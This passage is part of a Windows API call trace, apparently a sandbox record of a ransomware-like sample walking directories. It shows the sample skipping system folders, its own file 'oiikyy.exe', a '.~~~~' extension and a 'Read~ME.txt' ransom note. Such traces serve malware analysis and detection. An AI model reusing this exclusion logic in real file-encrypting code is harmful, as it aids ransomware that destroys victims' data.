	[0082.435] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x0, dwReserved1=0x2, cFileName="whiteband.png", cAlternateFileName="")) returned 0
	[0082.435] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0082.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
	[0082.436] GetCurrentThreadId () returned 0x618
	[0082.436] RtlWakeConditionVariable () returned 0x365f48
	[0082.437] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 1
	[0082.437] lstrcmpiW (lpString1="WhiteDot.png", lpString2="Windows") returned -1
	[0082.438] lstrcmpW (lpString1="WhiteDot.png", lpString2="oiikyy.exe") returned 1
	[0082.438] StrStrW (lpFirst="WhiteDot.png", lpSrch=".~~~~") returned 0x0
	[0082.438] lstrcmpW (lpString1="WhiteDot.png", lpString2="Read~ME.txt") returned 1
	[0082.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0082.438] GetCurrentThreadId () returned 0x618
	[0082.438] RtlWakeConditionVariable () returned 0x365f48
	[0082.438] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 0
	[0082.438] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0082.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0082.438] GetCurrentThreadId () returned 0x618
	[0082.438] RtlWakeConditionVariable () returned 0x365f48
	[0082.438] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters.xml", cAlternateFileName="")) returned 1
	[0082.438] lstrcmpiW (lpString1="Filters.xml", lpString2="Windows") returned -1
	[0082.438] lstrcmpW (lpString1="Filters.xml", lpString2="oiikyy.exe") returned -1
	[0082.438] StrStrW (lpFirst="Filters.xml", lpSrch=".~~~~") returned 0x0
	[0082.438] lstrcmpW (lpString1="Filters.xml", lpString2="Read~ME.txt") returned -1
	[0082.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0082.438] GetCurrentThreadId () returned 0x618
	[0082.439] RtlWakeConditionVariable () returned 0x365f48
	[0082.439] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 1
	[0082.439] lstrcmpiW (lpString1="Parity.fx", lpString2="Windows") returned -1
	[0082.439] lstrcmpW (lpString1="Parity.fx", lpString2="oiikyy.exe") returned 1
	[0082.439] StrStrW (lpFirst="Parity.fx", lpSrch=".~~~~") returned 0x0
	[0082.439] lstrcmpW (lpString1="Parity.fx", lpString2="Read~ME.txt") returned -1
	[0082.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x60) returned 0x27f2068
	[0082.439] GetCurrentThreadId () returned 0x618
	[0082.439] RtlWakeConditionVariable () returned 0x365f48
	[0082.439] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 0
	[0082.439] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0082.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0082.439] GetCurrentThreadId () returned 0x618
	[0082.439] RtlWakeConditionVariable () returned 0x365f48
	[0082.439] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1
	[0082.439] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="Windows") returned -1
	[0082.439] lstrcmpW (lpString1="soniccolorconverter.ax", lpString2="oiikyy.exe") returned 1
	[0082.439] StrStrW (lpFirst="soniccolorconverter.ax", lpSrch=".~~~~") returned 0x0
	[0082.439] lstrcmpW (lpString1="soniccolorconverter.ax", lpString2="Read~ME.txt") returned 1
	[0082.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0082.440] GetCurrentThreadId () returned 0x618
	[0082.440] RtlWakeConditionVariable () returned 0x365f48
	[0082.440] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonicsptransform.ax", cAlternateFileName="")) returned 1
	[0082.440] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="Windows") returned -1
	[0082.440] lstrcmpW (lpString1="sonicsptransform.ax", lpString2="oiikyy.exe") returned 1
	[0082.440] StrStrW (lpFirst="sonicsptransform.ax", lpSrch=".~~~~") returned 0x0
	[0082.440] lstrcmpW (lpString1="sonicsptransform.ax", lpString2="Read~ME.txt") returned 1
	[0082.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0082.440] GetCurrentThreadId () returned 0x618
	[0082.440] RtlWakeConditionVariable () returned 0x365f48
	[0082.440] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 1
	[0082.440] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="Windows") returned 1
	[0082.440] lstrcmpW (lpString1="WMM2CLIP.dll", lpString2="oiikyy.exe") returned 1
	[0082.440] StrStrW (lpFirst="WMM2CLIP.dll", lpSrch=".~~~~") returned 0x0
	[0082.440] lstrcmpW (lpString1="WMM2CLIP.dll", lpString2="Read~ME.txt") returned 1
	[0082.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x60) returned 0x27f2068
	[0082.440] GetCurrentThreadId () returned 0x618
	[0082.440] RtlWakeConditionVariable () returned 0x365f48
	[0082.440] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 0
	[0082.440] FindClose (in: hFindFile=0x37a7c8 | out: hFindFile=0x37a7c8) returned 1
	[0082.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x60) returned 0x27f2068
	[0082.440] GetCurrentThreadId () returned 0x618
	[0082.441] RtlWakeConditionVariable () returned 0x365f48
	[0082.441] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc492fc0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc492fc0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0082.441] lstrcmpiW (lpString1="Internet Explorer", lpString2="Windows") returned -1
	[0082.441] lstrcmpW (lpString1="Internet Explorer", lpString2=".") returned 1
	[0082.441] lstrcmpW (lpString1="Internet Explorer", lpString2="..") returned 1
	[0082.441] lstrcmpW (lpString1="Internet Explorer", lpString2="AppData") returned 1
	[0082.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Internet Explorer", lpSrch="AppData") returned 0x0
	[0082.441] lstrlenW (lpString="C:\\Windows") returned 10
	[0082.441] lstrcmpiW (lpString1="C:\\Program Files\\Internet Explorer", lpString2="C:\\Windows") returned -1
	[0082.441] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0082.442] lstrcmpiW (lpString1="C:\\Program Files\\Internet Explorer", lpString2="C:\\System Volume Information") returned -1
	[0082.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27e0048
	[0082.442] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc492fc0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc492fc0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a7c8
	[0082.442] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0082.442] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0082.442] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0082.442] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0082.442] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0082.443] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc492fc0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc492fc0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.443] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0082.443] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0082.443] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0082.443] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0082.443] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0082.443] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0082.443] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0082.443] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1
	[0082.443] lstrcmpW (lpString1="en-US", lpString2=".") returned 1
	[0082.443] lstrcmpW (lpString1="en-US", lpString2="..") returned 1
	[0082.443] lstrcmpW (lpString1="en-US", lpString2="AppData") returned 1
	[0082.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US", lpSrch="AppData") returned 0x0
	[0082.443] lstrlenW (lpString="C:\\Windows") returned 10
	[0082.443] lstrcmpiW (lpString1="C:\\Program Files\\Internet Explorer\\en-US", lpString2="C:\\Windows") returned -1
	[0082.443] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0082.443] lstrcmpiW (lpString1="C:\\Program Files\\Internet Explorer\\en-US", lpString2="C:\\System Volume Information") returned -1
	[0082.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0082.444] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0082.445] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0082.445] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0082.445] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0082.445] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0082.445] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0082.445] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.446] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0082.446] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0082.446] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0082.446] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0082.446] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0082.446] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0082.446] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1
	[0082.446] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="Windows") returned -1
	[0082.446] lstrcmpW (lpString1="hmmapi.dll.mui", lpString2="oiikyy.exe") returned -1
	[0082.446] StrStrW (lpFirst="hmmapi.dll.mui", lpSrch=".~~~~") returned 0x0
	[0082.446] lstrcmpW (lpString1="hmmapi.dll.mui", lpString2="Read~ME.txt") returned -1
	[0082.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0082.446] GetCurrentThreadId () returned 0x618
	[0082.446] RtlWakeConditionVariable () returned 0x365f48
	[0082.446] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll.mui", cAlternateFileName="")) returned 1
	[0082.446] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="Windows") returned -1
	[0082.446] lstrcmpW (lpString1="iedvtool.dll.mui", lpString2="oiikyy.exe") returned -1
	[0082.446] StrStrW (lpFirst="iedvtool.dll.mui", lpSrch=".~~~~") returned 0x0
	[0082.446] lstrcmpW (lpString1="iedvtool.dll.mui", lpString2="Read~ME.txt") returned -1
	[0082.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0082.446] GetCurrentThreadId () returned 0x618
	[0082.446] RtlWakeConditionVariable () returned 0x365f48
	[0082.446] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1
	[0082.446] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="Windows") returned -1
	[0082.447] lstrcmpW (lpString1="ieinstal.exe.mui", lpString2="oiikyy.exe") returned -1
	[0082.447] StrStrW (lpFirst="ieinstal.exe.mui", lpSrch=".~~~~") returned 0x0
	[0082.447] lstrcmpW (lpString1="ieinstal.exe.mui", lpString2="Read~ME.txt") returned -1
	[0082.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0082.447] GetCurrentThreadId () returned 0x618
	[0082.447] RtlWakeConditionVariable () returned 0x365f48
	[0082.447] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe.mui", cAlternateFileName="")) returned 1
	[0082.447] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="Windows") returned -1
	[0082.447] lstrcmpW (lpString1="ielowutil.exe.mui", lpString2="oiikyy.exe") returned -1
	[0082.447] StrStrW (lpFirst="ielowutil.exe.mui", lpSrch=".~~~~") returned 0x0
	[0082.447] lstrcmpW (lpString1="ielowutil.exe.mui", lpString2="Read~ME.txt") returned -1
	[0082.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0082.447] GetCurrentThreadId () returned 0x618
	[0082.447] RtlWakeConditionVariable () returned 0x365f48
	[0082.447] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe647cb96, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe647cb96, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xe45e4000, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1
	[0082.447] lstrcmpiW (lpString1="iexplore.exe.mui", lpString2="Windows") returned -1
	[0082.447] lstrcmpW (lpString1="iexplore.exe.mui", lpString2="oiikyy.exe") returned -1
	[0082.447] StrStrW (lpFirst="iexplore.exe.mui", lpSrch=".~~~~") returned 0x0
	[0082.447] lstrcmpW (lpString1="iexplore.exe.mui", lpString2="Read~ME.txt") returned -1
	[0082.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0082.447] GetCurrentThreadId () returned 0x618
	[0082.447] RtlWakeConditionVariable () returned 0x365f48
	[0082.447] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll.mui", cAlternateFileName="")) returned 1
	[0082.447] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="Windows") returned -1
	[0082.448] lstrcmpW (lpString1="jsdbgui.dll.mui", lpString2="oiikyy.exe") returned -1
	[0082.448] StrStrW (lpFirst="jsdbgui.dll.mui", lpSrch=".~~~~") returned 0x0
	[0082.448] lstrcmpW (lpString1="jsdbgui.dll.mui", lpString2="Read~ME.txt") returned -1
	[0082.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0082.448] GetCurrentThreadId () returned 0x618
	[0082.448] RtlWakeConditionVariable () returned 0x365f48
	[0082.448] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll.mui", cAlternateFileName="")) returned 1
	[0082.448] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="Windows") returned -1
	[0082.448] lstrcmpW (lpString1="jsdebuggeride.dll.mui", lpString2="oiikyy.exe") returned -1
	[0082.448] StrStrW (lpFirst="jsdebuggeride.dll.mui", lpSrch=".~~~~") returned 0x0
	[0082.448] lstrcmpW (lpString1="jsdebuggeride.dll.mui", lpString2="Read~ME.txt") returned -1
	[0082.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
	[0082.448] GetCurrentThreadId () returned 0x618
	[0082.448] RtlWakeConditionVariable () returned 0x365f48
	[0082.448] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll.mui", cAlternateFileName="")) returned 1
	[0082.448] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="Windows") returned -1
	[0082.448] lstrcmpW (lpString1="JSProfilerCore.dll.mui", lpString2="oiikyy.exe") returned -1
	[0082.448] StrStrW (lpFirst="JSProfilerCore.dll.mui", lpSrch=".~~~~") returned 0x0
	[0082.448] lstrcmpW (lpString1="JSProfilerCore.dll.mui", lpString2="Read~ME.txt") returned -1
	[0082.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
	[0082.448] GetCurrentThreadId () returned 0x618
	[0082.448] RtlWakeConditionVariable () returned 0x365f48
	[0082.448] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 1
	[0082.448] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="Windows") returned -1
	[0082.448] lstrcmpW (lpString1="jsprofilerui.dll.mui", lpString2="oiikyy.exe") returned -1
	[0082.449] StrStrW (lpFirst="jsprofilerui.dll.mui", lpSrch=".~~~~") returned 0x0
	[0082.449] lstrcmpW (lpString1="jsprofilerui.dll.mui", lpString2="Read~ME.txt") returned -1
	[0082.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
